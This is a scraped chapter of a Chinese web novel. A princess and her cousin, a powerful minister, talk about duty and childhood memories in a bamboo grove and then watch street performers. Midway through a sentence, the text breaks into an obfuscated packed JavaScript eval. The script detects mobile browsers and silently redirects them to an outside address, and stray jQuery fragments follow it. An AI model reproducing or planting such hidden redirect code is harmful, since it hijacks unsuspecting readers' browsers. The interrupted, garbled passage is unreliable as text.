默认冷灰
24号文字
方正启体

5. 第五章 青梅竹马

作者:渡岚舟本书字数:K更新时间:
    “抱歉。”她捂住撞痛的额头慌忙道歉,不敢抬头,掩面欲走,却被一把拉住左臂。


    她一时情急,挥手向此人臂膊砍去,竟又被擒住右腕。见状,她只得猛然抬头撞向来人,随着一声闷哼,她也看清了此人的面容——


    竟是此时她最不想见到的秦知白。


    司瑶光心脏仍是砰砰直跳,一句话也说不出,只是白着脸闷头继续快步向市集走着。


    “你究竟急着去哪儿?”秦知白拦在她身前,眉头紧锁。


    “有血,快走。”见去路被拦,她拽着他的衣角欲一起动身,嘴上嗫嚅,不知是说给秦知白,还是说给自己。


    秦知白脚下生根,纹丝不动:“冷静些,百姓食荤,很少见么?”


    可那味道属实太重了些……


    司瑶光心有疑虑,前世与今生重叠,血腥味久久不散,令她几欲作呕,便仍要离开。


    浑浑噩噩间,两人走到一片小竹林内,此处可隐隐听见市集上热闹的叫卖声。


    烟火气让她逐渐缓了紧绷的心神,这才发现自己手中还抓着男人的衣角,连忙松了手。


    云岫这才上前,拿着帕子为她仔仔细细擦拭着额间的冷汗。


    其间,秦知白背着身一言不发,半晌才冷冷开口:“表妹顽够了,可趁早回家。”


    “我……必须要来。”司瑶光口中干涩,一字一句顿道。


    “无勇无谋,又何必来。”秦知白转过身,抱臂看着她,面上仍是冷肃之色。


    司瑶光垂下眼睫,强辩道:“自有云岫护我。”


    男人发出一声冷笑,“怀璧临渊,是为不智。你的侍女,还有我如今在此,左右是出于皇命。若非如此,我不会帮一个言而无信、铤而走险的人。”


    “自恃身份,坐享其成,就很好么?”司瑶光愀然。


    “能造福于社稷,才不枉破军福星之名。”


    她降生时,恰逢现今天子、当年的起义军首领司景首战告捷。此后司景竟屡战屡胜,仅用六年便一统天下。


    司景称她是他的福星,是大昱的破军星。


    破军星,本名“瑶光”,主兵。


    可她做了什么呢?


    只有引狼入室而已。


    如今已是难得的机会,她不愿放弃,也不可以放弃。


    那两人不会因为她柔弱无为,就放过她。


    蛀虫无孔不入,大昱危楼将倾,百姓身处水火,她怎能置身之外?


    大不了舍去一身躯壳,哪怕只能救一人……


    她死死抿着唇,全身微微颤抖。


    四周一片寂静。


    忽有一物递至她眼前,竟是一只仅有半掌大的柳编花篮。


    正是她此前在婆婆摊子上看到的那只。


    她从秦知白手中接过花篮,小心捧住。


    “抱歉,我不知道我会……”反应这么大。


    “你有何错?只是不信我罢了。”秦知白颇为阴阳怪气。


    “我……”她欲言又止,低下头,手里不自觉揉捏着花篮的提柄。


    秦知白却像知晓她心中所想,勾起嘴角,然笑意未至眼底。


    “我父亲毕生心愿,便是辅佐明主,开盛世太平。”


    他语气难得沉稳凝重。


    “‘为贤君而死,死得其所。’乃是他那日亲口所言。”


    “你见我是秦家遗孤,故而总想让我远离是非,是怜惜我么?”


    司瑶光双颊有些发红,抬头问道: “你不怕么?”


    秦知白仿佛听到了天大的笑话一般,朗笑几声,灿若晨星的眸子望着她,嘴上很是嚣张:


    “我有何惧?”


    司瑶光这才意识到,面前这个男人不仅是她的童年玩伴,更已然成长为大昱极有权力的能臣,说句呼风唤雨也不为过。


    是她无意之中看低了他。


    “治国安邦,本就并非易事。若是前路一片坦途,我反倒要时时小心。”


    说罢,秦知白指了指身旁,“坐罢。”


    司瑶光看去,只见一块平整的石头上垫了张帕子,也不知这人是什么时候放上去的。


    她也不扭捏,一瘸一拐地过去坐下,又向秦知白道谢。


    秦知白点头应了,没有半点对皇权的惶恐,仿佛面前的真是自己一个惹了事的表妹。


    两人默默无言,一时间只有风穿竹叶的飒飒声。


    正当司瑶光自觉尴尬之时,一声猫叫打破了平静。


    “狸奴?”她四处张望,顺着叫声传来的方向果然看见了一只油光水滑的狸花猫。


    那猫大摇大摆地穿行在竹林间,嘴里似乎还叼着什么东西。


    “是老鼠么?”司瑶光有些看不清楚。


    “是鸟,一只麻雀。”清冷的声音从身边传来,司瑶光一怔。


    秦知白接着道:“弱肉强食,世道就是如此。”


    “是么……”


    男人靠在笔直的竹子上,拿了一片竹叶在手上把玩,“我曾养过一只鸟。”


    司瑶光稍作回忆,便想了起来。


    “我记得,也是一只麻雀。”


    彼时两人还是孩童,未曾如现在这般水火不容。


    听闻他捡了一只小鸟,她便缠着他要跟去看。


    她看着他一手包办小鸟的饮食、居所,几乎不眠不休地将小鸟从伶仃瘦弱照顾得羽毛丰满。


    那只麻雀却始终不亲人,每次去看,都是伸着脖子,跳着脚,毛茸茸的一团,仰头望着辽阔的天空。


    直至一日,她又跑去秦府看小鸟,却只看见一只空空如也的笼子。


    谁也不知,那只小小的麻雀,是如何打开笼门飞走的。


    当时的她哭了好几日,即便此后宫中为她搜罗来各类奇鸟,她也只想见那一只。


    现在想来,麻雀只会向往天空,如何会亲近囚禁它的人。


    正回忆间,秦知白低沉的嗓音响起:“说不定就是那一只。”


    “怎么可能?”她瞪着他,“寻常的麻雀,不过几年寿数,你又编胡话骗我。”


    秦知白微微一笑,嘴上说的却毫不留情:“如何不能?鸟儿既然向往天地,就有被捕杀的可能。”


    司瑶光听出弦外之音,不肯相让:“鸟儿自然晓得,可它本就生于天地之间。若是生有双翼,却只能偏安一隅,久而久之,甚至忘记自己是一只鸟,怕是哪日被人拿去做了羹汤也未可知。”


    见秦知白不语,她又道:“危机伏于天地,覆巢之下并无完卵,岂有先自折羽翼的道理?”


    说罢,只听秦知白长叹一口气,话中却带笑意,“听闻有鸟丹凤,其身覆火,终生不熄。①到那时,便是再凶的猫,都捕它不得了。”


    司瑶光看向狸奴,只见它本欲上前,却不知感应到了什么,突然向旁边一跳,便身姿灵活消失在了竹林中。


    身侧,一个暗卫无声落下,对秦知白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182723|196966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    耳语几句,便又藏回暗处。


    司瑶光忽有所感,举高了手中花篮,问他:“你早就猜到我要独自先行,派了人护我,对么?”


    “谁要护你?”秦知白噙笑,“这叫尾随。待你到了偏僻去处,我便将你掳走。届时你便是叫天喊地,也无人能应喽。”


    “总之,今日是我不对。”


    司瑶光面色诚恳,两眼一闭。


    “你弹吧!”


    这是他们的约定。


    小时候偶有争执,两人便定好,若是谁不占道理,或是做了错事,便要被对方弹额头,次数要视事态轻重而定。


    秦知白从小就毫不相让,有次弹得重了,她额上留下一个红印,被皇后看出来。


    司瑶光也从不告状,只噙着两包眼泪,假称是自己不小心磕碰的。


    长大后,两人甚少相见,偶一见面便是针锋相对,各持道理,倒极少有如此坦诚之时。


    秦知白慢悠悠将自己的袖子卷起,活动了两下筋骨。


    “……”


    司瑶光方将眼睛睁开一条缝,就见他这幅架势,连忙紧紧闭上双眼。


    她只觉一阵清风拂面,额上便是一痛,轻得像是湖水上的一片涟漪。


    “行了。”


    她睁开眼,眼前人笑得开怀,轮廓深邃的脸上,一双桃花眼微微眯起,琥珀色的眼眸中流光溢彩,像极了得意的狐狸。


    她有些不服:“再来!”


    “我可不会如有些人一样,随意将人看轻了。”


    秦知白放了样东西进她手中的花篮,退后两步,嘴上仍不肯饶人,说得司瑶光面上又添一份热意。


    她低下头,看见花篮里多了几片竹叶。


    “换个惩罚才有乐子。明日之前把它们吹响了,我便放过你。”


    是竹叶哨!


    她在书上见过,却未曾一试。


    身为公主,一举一动皆应端正。吹哨动作难免不雅,故而她从前只能凭空想象。


    “这可是你说的。”她神采奕奕,双眸终于带了笑意。


    “还有。”秦知白示意云岫扶她起身。


    “随我走一趟,让你痛着,以长记性。”


    司瑶光许久未曾疾走过这么远的路,腿与双足皆胀痛不堪。


    好在方才歇了一阵,她试着走了两步,倒也不碍事。


    “好,我走。”她无需云岫搀扶,与秦知白一同向着市集走去,步调一致。


    市中人愈发多了,一眼望去,除了蔬果点心,更兼日用杂货,各色摊铺一应俱全。


    一片叫卖声中,有一道欢快的小调分外明显。


    司瑶光循声望去,只见路人三三两两将一男一女围在中间。


    男的正表演杂耍,双手各执一长刀,随着蹦跳动作上下翻飞。


    女的则唱着不知来自何处的陌生曲调,嗓音洪亮,身处刀刃之间,却毫发无伤,面无惧色。


    而秦知白要引她去的,正是此处。


    “好!”“真好!”


    曲毕,那男人收了长刀,一把将女子举过头顶,倒立亮相一周,引得众人连声喝彩。


    司瑶光目光熠熠,交代云岫给些赏钱。


    两人眼角已生纹路,这般年纪仍辗转卖艺,实属不易。


    围观的人越来越多,全都沉浸于热闹而巧妙的技艺之中。


    他们身旁,一个不起眼的汉子推着车经过,只留下淡淡的血腥气。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)